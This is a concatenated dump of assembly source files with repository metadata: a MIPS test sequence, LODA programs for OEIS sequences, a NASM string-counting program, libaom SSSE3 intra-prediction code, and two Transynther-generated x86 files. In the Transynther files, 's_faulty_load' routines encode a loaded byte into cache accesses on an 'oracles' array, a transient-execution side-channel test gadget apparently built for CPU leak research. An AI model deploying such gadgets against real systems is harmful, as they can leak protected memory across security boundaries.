bne $3, $3, TAG710
mtlo $3
bltz $3, TAG710
TAG710:
sb $3, 0($3)
bgez $3, TAG711
lbu $3, 0($3)
mthi $3
TAG711:
bne $3, $3, TAG712
sb $3, 0($3)
lui $4, 8
mflo $2
TAG712:
bne $2, $2, TAG713
lui $1, 0
srlv $2, $1, $2
lhu $4, 0($1)
TAG713:
bne $4, $4, TAG714
divu $4, $4
divu $4, $4
lui $4, 10
TAG714:
beq $4, $4, TAG715
sll $0, $0, 0
mtlo $4
div $4, $4
TAG715:
mtlo $4
slti $2, $4, 1
mult $2, $2
divu $2, $4
TAG716:
lb $1, 0($2)
lhu $1, 0($2)
blez $1, TAG717
or $4, $1, $1
TAG717:
blez $4, TAG718
sra $2, $4, 9
mfhi $4
bne $2, $2, TAG718
TAG718:
mfhi $3
sllv $2, $4, $3
sh $3, 0($3)
bne $3, $3, TAG719
TAG719:
lui $2, 9
addu $4, $2, $2
bne $2, $2, TAG720
divu $4, $2
TAG720:
bltz $4, TAG721
sll $0, $0, 0
sll $0, $0, 0
bne $1, $1, TAG721
TAG721:
lui $1, 5
bne $1, $1, TAG722
subu $3, $1, $1
sll $0, $0, 0
TAG722:
mflo $1
lui $1, 1
lui $1, 4
bgez $1, TAG723
TAG723:
addu $1, $1, $1
mfhi $2
mthi $1
bgez $1, TAG724
TAG724:
mtlo $2
sw $2, 0($2)
sltiu $4, $2, 3
sb $4, 0($4)
TAG725:
mflo $1
multu $1, $4
sw $1, 0($1)
mtlo $4
TAG726:
mfhi $4
lui $1, 15
mtlo $1
div $1, $1
TAG727:
bne $1, $1, TAG728
mult $1, $1
lui $1, 14
bne $1, $1, TAG728
TAG728:
ori $3, $1, 10
bltz $1, TAG729
sltiu $3, $1, 8
beq $1, $3, TAG729
TAG729:
sltu $1, $3, $3
beq $1, $1, TAG730
mthi $3
mtlo $3
TAG730:
mthi $1
mult $1, $1
sb $1, 0($1)
sltiu $4, $1, 3
TAG731:
ori $3, $4, 1
sb $3, 0($4)
mtlo $3
sll $3, $3, 10
TAG732:
sb $3, -1024($3)
bne $3, $3, TAG733
mtlo $3
slti $2, $3, 2
TAG733:
sh $2, 0($2)
mult $2, $2
mult $2, $2
lhu $2, 0($2)
TAG734:
mtlo $2
mult $2, $2
lui $2, 4
mtlo $2
TAG735:
nor $4, $2, $2
div $2, $4
lui $4, 5
multu $4, $2
TAG736:
mthi $4
sra $2, $4, 2
mtlo $2
multu $4, $4
TAG737:
mfhi $2
div $2, $2
lui $4, 12
beq $2, $2, TAG738
TAG738:
lui $3, 2
bgtz $3, TAG739
sll $0, $0, 0
slti $2, $4, 5
TAG739:
mthi $2
bltz $2, TAG740
xor $4, $2, $2
lb $3, 0($2)
TAG740:
multu $3, $3
sw $3, 0($3)
multu $3, $3
add $1, $3, $3
TAG741:
lui $4, 13
or $3, $1, $4
sltu $2, $1, $4
mfhi $4
TAG742:
beq $4, $4, TAG743
mtlo $4
div $4, $4
mtlo $4
TAG743:
bltz $4, TAG744
mflo $4
mult $4, $4
mfhi $1
TAG744:
addi $4, $1, 0
mthi $4
lbu $4, 0($1)
mflo $4
TAG745:
addi $2, $4, 3
subu $2, $2, $2
bgez $4, TAG746
multu $2, $4
TAG746:
bne $2, $2, TAG747
multu $2, $2
sltiu $3, $2, 7
mfhi $2
TAG747:
lw $2, 0($2)
lhu $4, 0($2)
sw $2, 0($2)
lui $1, 6
TAG748:
bne $1, $1, TAG749
mfhi $4
multu $4, $4
lui $2, 14
TAG749:
srav $3, $2, $2
div $2, $3
srl $4, $3, 12
mthi $2
TAG750:
nop
nop
test_end:
beq $0, $0, test_end
nop | 11.965972 | 21 | 0.54216 |
80f474c8c3e61384d2af1d61578b35c6661b7f24 | 4,823 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1488.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1488.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1488.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x185f5, %rsi
lea addresses_WC_ht+0x1d215, %rdi
nop
nop
nop
nop
sub %r12, %r12
mov $59, %rcx
rep movsb
dec %rbp
lea addresses_D_ht+0xa9a0, %r13
nop
nop
dec %r10
vmovups (%r13), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rcx
nop
nop
nop
nop
nop
cmp $3706, %rsi
lea addresses_A_ht+0x1aeb5, %r12
nop
nop
nop
nop
nop
mfence
mov (%r12), %esi
nop
nop
cmp %r12, %r12
lea addresses_normal_ht+0x14b5, %rbp
sub $16978, %r10
movb $0x61, (%rbp)
nop
nop
nop
nop
sub %r13, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %rax
push %rbp
push %rdi
// Faulty Load
lea addresses_D+0x94b5, %rax
nop
cmp %rdi, %rdi
mov (%rax), %ebp
lea oracles, %r14
and $0xff, %rbp
shlq $12, %rbp
mov (%r14,%rbp,1), %rbp
pop %rdi
pop %rbp
pop %rax
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 48.717172 | 2,999 | 0.660792 |
2c3ce9046e07063bc4ade4792d21dca859c1939c | 5,182 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1409.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1409.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1409.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1b2b0, %rsi
lea addresses_WC_ht+0x18fb0, %rdi
nop
nop
nop
xor $52412, %r15
mov $52, %rcx
rep movsb
xor %r15, %r15
lea addresses_WT_ht+0xa6a8, %r10
nop
cmp %r12, %r12
movb (%r10), %r14b
nop
xor %rdi, %rdi
lea addresses_A_ht+0x106b0, %rsi
lea addresses_UC_ht+0x1d704, %rdi
nop
add %rax, %rax
mov $38, %rcx
rep movsq
nop
cmp $20972, %rax
lea addresses_WC_ht+0x6f30, %rsi
lea addresses_WT_ht+0x14850, %rdi
nop
nop
nop
xor %r12, %r12
mov $29, %rcx
rep movsw
nop
nop
and %r14, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r9
push %rax
push %rbx
// Store
lea addresses_US+0x11230, %r14
nop
nop
nop
nop
sub %rax, %rax
mov $0x5152535455565758, %rbx
movq %rbx, (%r14)
nop
and %r15, %r15
// Faulty Load
lea addresses_WT+0x82b0, %r12
nop
nop
add $26521, %rax
movb (%r12), %bl
lea oracles, %r12
and $0xff, %rbx
shlq $12, %rbx
mov (%r12,%rbx,1), %rbx
pop %rbx
pop %rax
pop %r9
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_US'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 3, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 47.541284 | 2,999 | 0.661328 |
027e6683a3d1dc2c9bfb2dec48208f5a531a8383 | 1,750 | asm | Assembly | programs/oeis/174/A174783.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/174/A174783.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/174/A174783.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A174783: Expansion of (1+2x-sqrt(1-4x^2))/(2(1-x^2)*sqrt(1-4x^2)).
; 0,1,1,3,4,9,14,29,49,99,175,351,637,1275,2353,4707,8788,17577,33098,66197,125476,250953,478192,956385,1830270,3660541,7030570,14061141,27088870,54177741,104647630,209295261,405187825,810375651,1571990935,3143981871,6109558585,12219117171,23782190485,47564380971,92705454895,185410909791,361834392115,723668784231,1413883873975,2827767747951,5530599237775,11061198475551,21654401079325,43308802158651,84859704298201,169719408596403,332818970772253,665637941544507,1306288683596309,2612577367192619,5130633983976529,10261267967953059,20164267233747049,40328534467494099,79296558016177761,158593116032355523,312010734643808305,624021469287616611,1228322805115103572,2456645610230207145,4838037022123236442,9676074044246472885,19064557759743524812,38129115519487049625,75157696668074947528,150315393336149895057,296413966806493337130,592827933612986674261,1169479248974306442046,2338958497948612884093,4615789573320937119346,9231579146641874238693,18224297007920453127146,36448594015840906254293,71977901374588541357956,143955802749177082715913,284370191798984402172376,568740383597968804344753,1123825434904929947296036,2247650869809859894592073,4442601977416807683831436,8885203954833615367662873,17566854668259233278312336,35133709336518466556624673,69480565312035938963147896,138961130624071877926295793,274878290033065513629236416,549756580066131027258472833,1087728860205650638903544176,2175457720411301277807088353,4305262367138800093114345726,8610524734277600186228691453,17044068496629228544479560026,34088136993258457088959120053
lpb $0
mov $2,$0
trn $0,2
seq $2,210736 ; Expansion of (1 + sqrt( (1 + 2*x) / (1 - 2*x))) / 2 in powers of x.
add $1,$2
lpe
mov $0,$1
| 159.090909 | 1,537 | 0.884571 |
44a46d7e3b47c41840ffef368e8111f13f4a4ad2 | 544 | asm | Assembly | oeis/325/A325401.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/325/A325401.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/325/A325401.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A325401: minflip(n) = min(n, r(n)) where r(n) is the binary reverse of n.
; 0,1,1,3,1,5,3,7,1,9,5,11,3,11,7,15,1,17,9,19,5,21,13,23,3,19,11,27,7,23,15,31,1,33,17,35,9,37,25,39,5,37,21,43,13,45,29,47,3,35,19,51,11,43,27,55,7,39,23,55,15,47,31,63,1,65,33,67,17,69,49,71,9,73,41,75,25,77,57,79,5,69,37,83,21,85,53,87,13,77,45,91,29,93,61,95,3,67,35,99
mov $1,$0
seq $0,30101 ; a(n) is the number produced when n is converted to binary digits, the binary digits are reversed and then converted back into a decimal number.
lpb $0
mov $0,$1
lpe
| 60.444444 | 274 | 0.667279 |
141945876824f9050aa7c64312be2955bebe204c | 2,621 | asm | Assembly | ASS4/count_alpha_num_string (q1).asm | rahulkumawat1/NASM | 09b69e1338e59e43b6ff7403337d13810070d59f | [
"MIT"
] | null | null | null | ASS4/count_alpha_num_string (q1).asm | rahulkumawat1/NASM | 09b69e1338e59e43b6ff7403337d13810070d59f | [
"MIT"
] | null | null | null | ASS4/count_alpha_num_string (q1).asm | rahulkumawat1/NASM | 09b69e1338e59e43b6ff7403337d13810070d59f | [
"MIT"
] | null | null | null | section .data
newline : db 0Ah
zero : db '0'
space : db ' '
section .bss
str : resb 500
n : resw 1
i : resw 1
tmp : resb 1
cnta : resw 1
cntd : resw 1
cnts : resw 1
cntw : resw 1
lcnt : resw 1
num : resw 1
count : resw 1
dig : resb 1
section .text
global _start
_start :
call read
cmp word[n], 0
jne countcall
mov word[num], 0
call print_num
call print_num
call print_num
call print_num
jmp exit
countcall :
call counter
mov cx, word[cnta]
mov word[num], cx
call print_num
mov cx, word[cntd]
mov word[num], cx
call print_num
mov cx, word[cnts]
mov word[num], cx
call print_num
mov cx, word[cntw]
mov word[num], cx
call print_num
exit :
mov eax, 1
mov ebx, 0
int 80h
read :
pusha
mov word[n], 0
read_loop :
mov eax, 3
mov ebx, 0
mov ecx, tmp
mov edx, 1
int 80h
cmp byte[tmp], 10
je end_read
mov ebx, str
movzx eax, word[n]
mov cl, byte[tmp]
mov byte[ebx+eax], cl
inc word[n]
jmp read_loop
end_read :
mov ebx, str
movzx eax, word[n]
mov byte[ebx+eax], 0
popa
ret
counter :
pusha
mov word[cnta], 0
mov word[cntd], 0
mov word[cnts], 0
mov word[cntw], 0
mov word[i], 0
mov word[lcnt], 0
count_loop :
mov ebx, str
movzx eax, word[i]
mov cl, byte[ebx+eax]
cmp cl, 0
je end_counter
cmp cl, 32
jne letter
cmp word[lcnt], 0
jne found_word
jmp alphabet
found_word :
mov word[lcnt], 0
inc word[cntw]
jmp special
letter :
inc word[lcnt]
alphabet:
;alphabet
cmp cl, 65
jb digit
checkz:
cmp cl, 122
ja digit
checkA_Z :
cmp cl, 90
ja checka_z
inc word[cnta]
jmp continue
checka_z :
cmp cl, 97
jb digit
inc word[cnta]
jmp continue
digit :
cmp cl, 48
jb special
cmp cl, 57
ja special
inc word[cntd]
jmp continue
special :
inc word[cnts]
continue :
inc word[i]
jmp count_loop
end_counter :
dec eax
mov cl, byte[ebx+eax]
cmp cl, 32
je end
inc word[cntw]
end :
popa
ret
print_num :
pusha
mov byte[count], 0
cmp word[num], 0
je print0
extract_loop :
cmp word[num], 0
je print
mov ax, word[num]
mov dx, 0
mov bx, 10
div bx
push dx
inc byte[count]
mov word[num], ax
jmp extract_loop
print :
cmp byte[count], 0
je end_print_num
dec byte[count]
pop dx
add dl, 30h
mov byte[dig], dl
mov eax, 4
mov ebx, 1
mov ecx, dig
mov edx, 1
int 80h
jmp print
print0 :
mov eax, 4
mov ebx, 1
mov ecx, zero
mov edx, 1
int 80h
end_print_num :
mov eax, 4
mov ebx, 1
mov ecx, newline
mov edx, 1
int 80h
popa
ret
printnewline :
pusha
mov eax, 4
mov ebx, 1
mov ecx, newline
mov edx, 1
int 80h
popa
ret
| 10.875519 | 29 | 0.641358 |
bc1bb2ff3d1791229718b7d08e8fa515be634c5b | 15,588 | asm | Assembly | aom_dsp/x86/intrapred_ssse3.asm | merryApple/aom | 7b88ade6135ed4fecd6d745166ce74209ff137de | [
"BSD-2-Clause"
] | 147 | 2017-07-10T21:45:26.000Z | 2022-03-17T12:18:25.000Z | aom_dsp/x86/intrapred_ssse3.asm | merryApple/aom | 7b88ade6135ed4fecd6d745166ce74209ff137de | [
"BSD-2-Clause"
] | 11 | 2018-02-16T17:56:06.000Z | 2021-02-28T15:33:44.000Z | aom_dsp/x86/intrapred_ssse3.asm | merryApple/aom | 7b88ade6135ed4fecd6d745166ce74209ff137de | [
"BSD-2-Clause"
] | 33 | 2018-01-08T20:00:50.000Z | 2022-03-01T11:21:09.000Z | ;
; Copyright (c) 2016, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aomedia.org/license/software. If the Alliance for Open
; Media Patent License 1.0 was not distributed with this source code in the
; PATENTS file, you can obtain it at www.aomedia.org/license/patent.
;
;
%include "third_party/x86inc/x86inc.asm"
SECTION_RODATA
pb_1: times 16 db 1
sh_b12345677: db 1, 2, 3, 4, 5, 6, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0
sh_b23456777: db 2, 3, 4, 5, 6, 7, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0
sh_b0123456777777777: db 0, 1, 2, 3, 4, 5, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7
sh_b1234567777777777: db 1, 2, 3, 4, 5, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7
sh_b2345677777777777: db 2, 3, 4, 5, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7
sh_b123456789abcdeff: db 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 15
sh_b23456789abcdefff: db 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 15, 15
sh_b32104567: db 3, 2, 1, 0, 4, 5, 6, 7, 0, 0, 0, 0, 0, 0, 0, 0
sh_b8091a2b345: db 8, 0, 9, 1, 10, 2, 11, 3, 4, 5, 0, 0, 0, 0, 0, 0
sh_b76543210: db 7, 6, 5, 4, 3, 2, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0
sh_b65432108: db 6, 5, 4, 3, 2, 1, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0
sh_b54321089: db 5, 4, 3, 2, 1, 0, 8, 9, 0, 0, 0, 0, 0, 0, 0, 0
sh_b89abcdef: db 8, 9, 10, 11, 12, 13, 14, 15, 0, 0, 0, 0, 0, 0, 0, 0
sh_bfedcba9876543210: db 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0
SECTION .text
; ------------------------------------------
; input: x, y, z, result
;
; trick from pascal
; (x+2y+z+2)>>2 can be calculated as:
; result = avg(x,z)
; result -= xor(x,z) & 1
; result = avg(result,y)
; ------------------------------------------
%macro X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 4
pavgb %4, %1, %3
pxor %3, %1
pand %3, [GLOBAL(pb_1)]
psubb %4, %3
pavgb %4, %2
%endmacro
INIT_XMM ssse3
cglobal d63e_predictor_4x4, 3, 4, 5, dst, stride, above, goffset
GET_GOT goffsetq
movq m3, [aboveq]
pshufb m1, m3, [GLOBAL(sh_b23456777)]
pshufb m2, m3, [GLOBAL(sh_b12345677)]
X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m3, m2, m1, m4
pavgb m3, m2
; store 4 lines
movd [dstq ], m3
movd [dstq+strideq], m4
lea dstq, [dstq+strideq*2]
psrldq m3, 1
psrldq m4, 1
movd [dstq ], m3
movd [dstq+strideq], m4
RESTORE_GOT
RET
INIT_XMM ssse3
cglobal d153_predictor_4x4, 4, 5, 4, dst, stride, above, left, goffset
GET_GOT goffsetq
movd m0, [leftq] ; l1, l2, l3, l4
movd m1, [aboveq-1] ; tl, t1, t2, t3
punpckldq m0, m1 ; l1, l2, l3, l4, tl, t1, t2, t3
pshufb m0, [GLOBAL(sh_b32104567)]; l4, l3, l2, l1, tl, t1, t2, t3
psrldq m1, m0, 1 ; l3, l2, l1, tl, t1, t2, t3
